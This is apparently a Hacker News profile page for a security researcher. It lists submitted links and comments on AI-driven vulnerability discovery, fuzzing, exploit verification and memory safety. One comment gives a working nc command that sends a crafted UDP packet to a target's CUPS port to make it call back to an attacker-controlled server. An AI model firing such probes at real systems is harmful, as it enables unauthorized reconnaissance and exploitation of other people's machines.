HN user

moyix

5,310 karma

Building AI agents for offensive security at XBOW. Follow me as @moyix on twitter.

[ my public key: https://keybase.io/moyix; my proof: https://keybase.io/moyix/sigs/V3JmdAynroihDrQHMzQhfzdrddq_3COt1_AkHFDcbRM ]

Posts48
Comments629
View on HN
phulin.me 2mo ago

Reverse Engineering SimTower

moyix
4pts1
xbow.com 1y ago

Finding a Critical Vulnerability in Scoold with AI

moyix
4pts1
xbow.com 2y ago

Breaking Crypto with XBOW

moyix
1pts0
threadreaderapp.com 2y ago

AI Agent Exploiting and Debugging a Jenkins RCE

moyix
2pts0
verse.systems 2y ago

Using LLMs to Generate Fuzzers

moyix
156pts28
threadreaderapp.com 2y ago

CTF Writeup: Abusing select() to factor RSA

moyix
135pts26
twitter.com 2y ago

Snowden leak: Cavium networking hardware may contain NSA backdoor

moyix
1205pts591
huggingface.co 3y ago

SantaCoder: A new 1.1B code model for generation and infilling

moyix
168pts74
twitter.com 3y ago

The VSCode GitLab extension now supports getting code completions from FauxPilot

moyix
190pts65
github.com 3y ago

Ffast 2 Furious

moyix
1pts0
blog.salesforceairesearch.com 3y ago

AI Coding with CodeRL: Toward Mastering Program Synthesis with Deep RL

moyix
66pts21
gist.github.com 3y ago

Using linear algebra to convert a large code model

moyix
53pts3
gist.github.com 4y ago

Using linear algebra to convert a large code model

moyix
2pts0
blog.salesforceairesearch.com 4y ago

AI Coding with CodeRL: Toward Mastering Program Synthesis with Deep RL

moyix
1pts1
twitter.com 4y ago

Behind the Throne: Twitter Game Illustrated by DALL·E 2

moyix
1pts0
www.thediff.co 4y ago

Facial Recognition as a Pareto Technology

moyix
17pts3
retractionwatch.com 8y ago

Nature journal retracts controversial CRISPR collateral damage paper

moyix
6pts0
tls-n.org 8y ago

TLS-N: Non-repudiation over TLS

moyix
81pts32
www.wired.com 8y ago

Even Artificial Neural Networks Can Have Exploitable 'Backdoors'

moyix
3pts0
www.nature.com 8y ago

Correction of a pathogenic gene mutation in human embryos

moyix
1pts0
zneak.github.io 9y ago

How do compilers optimize divisions?

moyix
166pts51
medium.com 9y ago

Want to Know If the Election Was Hacked? Look at the Ballots

moyix
2pts0
www.cs.toronto.edu 9y ago

Evidence That Computer Science Grades Are Not Bimodal [pdf]

moyix
146pts140
seclists.org 9y ago

Deep down the certificate pinning rabbit hole of “Tor Browser Exposed”

moyix
24pts4
theshadowbrokers.tumblr.com 9y ago

Equation Group Cyber Weapons Auction

moyix
224pts137
moyix.blogspot.com 10y ago

Fuzzing with AFL is an Art

moyix
109pts7
moyix.blogspot.com 10y ago

The Mechanics of Bug Injection with LAVA

moyix
1pts0
moyix.blogspot.com 10y ago

The Mechanics of Bug Injection with LAVA

moyix
3pts0
www.b0n0n.com 10y ago

Jailbreaking the Microsoft Fitness Band

moyix
94pts21
moyix.blogspot.com 10y ago

How to add a million bugs to a program, and why you might want to

moyix
40pts24

I think you're confusing CVEs and vulnerabilities here? Mozilla (per their longstanding practice) grouped multiple vulnerabilities found internally under a small number of CVEs.

On hardened targets and Firecracker specifically, here's a recent vulnerability found by "Anthropic": https://aws.amazon.com/security/security-bulletins/2026-015-...

Unfortunately it's unclear whether it was Mythos, an earlier model, or even an eagle-eyed employee.

I tend to agree that bug squashing your way to perfectly secure software is unlikely, but there are plenty of projects that managed to fuzz/test/audit their way to making it much harder to find serious vulnerabilities. If we can do the same again with LLMs in a way that leaves the remaining vulnerabilities out of reach of anyone except extremely skilled humans (perhaps with LLM assistance) then that's still an OK outcome that buys us time to build stronger foundations.

It's limiting from the PoV of a developer who wants to ensure that their own code is free of all security issues. It is not limiting from the point of view of an attacker who just needs one good memory safety vuln to win.

Also, unlike OpenAI, Anthropic's prompt caching is explicit (you set up to 4 cache "breakpoints"), meaning if you don't implement caching then you don't benefit from it.

There is filtering mentioned, it's just not done by a human:

I have written up the verification process I used for the experiments here, but the summary is: an exploit tends to involve building a capability to allow you to do something you shouldn’t be able to do. If, after running the exploit, you can do that thing, then you’ve won. For example, some of the experiments involved writing an exploit to spawn a shell from the Javascript process. To verify this the verification harness starts a listener on a particular local port, runs the Javascript interpreter and then pipes a command into it to run a command line utility that connects to that local port. As the Javascript interpreter has no ability to do any sort of network connections, or spawning of another process in normal execution, you know that if you receive the connect back then the exploit works as the shell that it started has run the command line utility you sent to it.

It is more work to build such "perfect" verifiers, and they don't apply to every vulnerability type (how do you write a Python script to detect a logic bug in an arbitrary application?), but for bugs like these where the exploit goal is very clear (exec code or write arbitrary content to a file) they work extremely well.

Wait a sec, I thought they were optional?

White Paper/Slide Deck/Supporting Materials (optional)

• If you have a completed white paper or draft, slide deck, or other supporting materials, you can optionally provide a link for review by the board.

• Please note: Submission must be self-contained for evaluation, supporting materials are optional.

• PDF or online viewable links are preferred, where no authentication/log-in is required.

(From the link on the BHUSA CFP page, which confusingly goes to the BH Asia doc: https://i.blackhat.com/Asia-25/BlackHat-Asia-2025-CFP-Prepar... )

This is discussed in the post – many came down to individual programs' policies e.g. not accepting the vulnerability if it was in a 3rd party product they used (but still hosted by them), duplicates (another researcher reported the same vuln at the same time; not really any way to avoid this), or not accepting some classes of vuln like cache poisoning.

We've got a bunch of agent traces on the front page of the web site right now. We also have done writeups on individual vulnerabilities found by the system, mostly in open source right now (we did some fun scans of OSS projects found on Docker Hub). We have a bunch more coming up about the vulns found in bug bounty targets. The latter are bottlenecked by getting approval from the companies affected, unfortunately.

Some of my favorites from what we've released so far:

- Exploitation of an n-day RCE in Jenkins, where the agent managed to figure out the challenge environment was broken and used the RCE exploit to debug the server environment and work around the problem to solve the challenge: https://xbow.com/#debugging--testing--and-refining-a-jenkins...

- Authentication bypass in Scoold that allowed reading the server config (including API keys) and arbitrary file read: https://xbow.com/blog/xbow-scoold-vuln/

- The first post about our HackerOne findings, an XSS in Palo Alto Networks GlobalProtect VPN portal used by a bunch of companies: https://xbow.com/blog/xbow-globalprotect-xss/

With security vulnerabilities, you don't give the agent the ability to modify the potentially vulnerable software, naturally. Instead you make them do what an attacker would have to do: come up with an input that, when sent to the unmodified program, triggers the vulnerability.

How do you know if it triggered the vulnerability? Luckily for low-level memory safety issues like the ones Sean (and o3) found we have very good oracles for detecting memory safety, like KASAN, so you can basically just let the agent throw inputs at ksmbd until you see something that looks kind of like this: https://groups.google.com/g/syzkaller/c/TzmTYZVXk_Q/m/Tzh7SN...

One thing that is interesting is that this was anticipated by the OpenAI Codex paper (which led to GitHub Copilot) all the way back in 2021:

Users might be more inclined to accept the Codex answer under the assumption that the package it suggests is the one with which Codex will be more helpful. As a result, certain players might become more entrenched in the package market and Codex might not be aware of new packages developed after the training data was originally gathered. Further, for already existing packages, the model may make suggestions for deprecated methods. This could increase open-source developers’ incentive to maintain backward compatibility, which could pose challenges given that open-source projects are often under-resourced (Eghbal, 2020; Trinkenreich et al., 2021).

https://arxiv.org/pdf/2107.03374 (Appendix H.4)

I'm a bit confused, or maybe I've been doing it wrong. DEI-related things don't usually go in Broader Impacts, do they? When I've written grants, Broader Impacts was just generally for "how is your research going to help society?"; it was the Broadening Participation in Computing section that was oriented toward DEI.

We've been using them to find novel vulnerabilities in open source web apps. The past 4 posts here have details:

- Auth bypass/arbitrary file read in Scoold: https://xbow.com/blog/xbow-scoold-vuln/

- SSRF in 2FAuth: https://xbow.com/blog/xbow-2fauth-ssrf/

- Stored XSS in 2FAuth: https://xbow.com/blog/xbow-2fauth-xss/

- Path traversal in Labs.AI EDDI: https://xbow.com/blog/xbow-eddi-path/

Each of those has an associated agent trace so you can go read exactly what the agent did to find and exploit the vulnerability.

[This is more of a reply to a deleted reply to you, but I don't want my efforts to go to waste]

Spatial memory safety is a reasonably common term in the security / PL field. You can see examples of it being used at least as far back as 2009: https://scholar.google.com/scholar?hl=en&as_sdt=0%2C33&q=spa...

It's in contrast to temporal memory safety, which deals with object lifetimes (use after free, for example).

Here Google is probably also referencing a 2022 post of theirs with a very similar title, dealing with temporal safety: https://security.googleblog.com/2022/05/retrofitting-tempora...

The terms are also in Wikipedia: https://en.wikipedia.org/wiki/Memory_safety#Classification_o...

nmap can't really tell the difference between an open or a firewalled UDP port. For this specific vuln you can send it a packet like:

echo "0 3 http://myserver:PORT/printers/foo" | nc -u target 631

And if the target is running CUPS on that port it will reach out to `myserver:PORT` and POST some data. The downside is you need to have a server running that can accept inbound requests to see if it connects back.

Yes, that's a limitation of trying to ensure exact binary reconstruction. Luckily there is also a separate line of work on detecting the compiler version and optimization flags based on a binary – it turns out this is not that hard and it's easy to get a bunch of labeled data for a classifier.

If folks are interested in reading more there's a nice paper by Grammatech on the idea: https://eschulte.github.io/data/bed.pdf (though it's pre-LLM and uses evolutionary algorithms on the initial decompilation to search for a version that recompiles exactly).

They're actually orthogonal approaches – from what I've seen so far the LLM fuzzer generates much higher quality seeds than you'd get even after fuzzing for a while (in the case of the VRML target, even if you start with some valid test files found online), but it's not as good at generating broken inputs. So the obvious thing to do is have the LLM's fuzzer generate initial seeds that get pretty good coverage and then a traditional coverage-guided fuzzer to further mutate those.

These are still pretty small scale experiments on essentially toy programs, so it remains to be seen if LLMs remain useful on real world programs, but so far it looks pretty promising – and it's a lot less work than writing a new libfuzzer target, especially when the program is one that's not set up with nice in-memory APIs (e.g., that GIF decoder program just uses read() calls distributed all over the program; it would be fairly painful to refactor it to play nicely with libfuzzer).

I don't think using a language model to generate inputs directly is ever going to be as efficient as writing a little bit of code to do the generation; it's really hard to beat an input generator that can craft thousands of inputs/second.